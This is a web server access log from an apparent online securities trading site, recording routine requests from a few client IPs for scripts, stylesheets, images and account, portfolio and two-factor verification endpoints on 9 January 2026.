[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:09:23:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767922074931 HTTP/1.1" 3188
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 124
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:23:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922072054 HTTP/1.1" -
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 293
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 223
[09/Jan/2026:09:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:09:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:09:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:23:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922077748 HTTP/1.1" -
[09/Jan/2026:09:23:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1541
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:23:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 429
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:09:23:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
